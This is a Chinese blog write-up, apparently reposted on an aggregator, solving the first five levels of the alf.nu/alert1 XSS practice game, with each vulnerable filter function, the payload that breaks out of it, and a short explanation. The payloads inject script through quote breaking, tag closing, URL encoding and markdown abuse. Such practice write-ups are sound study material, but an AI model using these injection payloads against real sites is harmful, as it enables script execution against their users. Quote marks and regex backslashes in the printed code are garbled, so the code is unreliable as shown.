xss练习,alf.nu/alert1,(未完成)

Posted kagari

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xss练习,alf.nu/alert1,(未完成)相关的知识,希望对你有一定的参考价值。

觉得自己很菜,故找一些题来做,随便找了下。记一下通关攻略 https://alf.nu/alert1

第一关

题目:warmup

function escape(s) {
  return ‘<script>console.log("‘+s+‘");</script>‘;
}

题解:");alert(1)//

分析:简单闭合一下双引号即可

第二关

题目:adobe

function escape(s) {
  s = s.replace(/"/g, ‘\\"‘);
  return ‘<script>console.log("‘ + s + ‘");</script>‘;
}

题解:");alert(1)//

分析:因为题目是将所有的"替换为"所以,输入"会被替换为\\",导致被转义的字符变为",之后执行xss即可

第三关

题目:json

function escape(s) {
  s = JSON.stringify(s);
  return ‘<script>console.log(‘ + s + ‘);</script>‘;
}

题解:</script><script>alert(1)</script>//

分析:JSON.stringify()作用是返回JSON字符串,主要使用在对象转换为JSON。这里它使s外层多了一对双引号,内部字符全部转义。所以无法使用上面一题的方法。但是可以使用</script>使标签闭合在执行任意xss即可

第四关

题目:javascript

function escape(s) {
  var url = ‘javascript:console.log(‘ + JSON.stringify(s) + ‘)‘;
  console.log(url);

  var a = document.createElement(‘a‘);
  a.href = url;
  document.body.appendChild(a);
  a.click();
}

题解:%22);alert(1);//

分析:因为url使用了js伪协议,所以可以使用url编码,%22是"。这样就使console.log闭合。然后可以执行任意xss。

第五关

题目:markdown

function escape(s) {
  var text = s.replace(/</g, ‘&lt;‘).replace(/"/g, ‘&quot;‘);
  // URLs
  text = text.replace(/(http://S+)/g, ‘<a href="$1">$1</a>‘);
  // [[img123|Description]]
  text = text.replace(/[[(w+)|(.+?)]]/g, ‘<img alt="$2" src="$1.gif">‘);
  return text;
}

题解:[[x|http://onerror=alert(1);//]]

分析:这题有些复杂,先简单分析下,这里参考了这篇文章 https://blog.csdn.net/he_and/article/details/79672900

第一行将<与"实体编码,导致无法直接输入闭合

第二行是将http://开头的链接变为a标签

第三行是markdown插入图片的标准语法,如下图所示。

技术分享图片

 

 因为无法输入",所以只能使用a标签产生的"来闭合。构造下图的payload即可

技术分享图片

为了理解到底发生了什么,我做了下测试。

技术分享图片

该函数会返回如上图所示的字符串,将其放入html,达到弹窗效果。如下图,alert(1);//的//是为了注释后面的"。

技术分享图片

 

以上是关于xss练习,alf.nu/alert1,(未完成)的主要内容,如果未能解决你的问题,请参考以下文章

XSS绕过实战练习

XSS练习平台XSS Challenges

1.6 xss挑战平台练习

实验报告五 web 攻击靶机解题过程(未完成)

Pikachu漏洞练习平台实验——XSS

pikachu平台练习(XSS模块)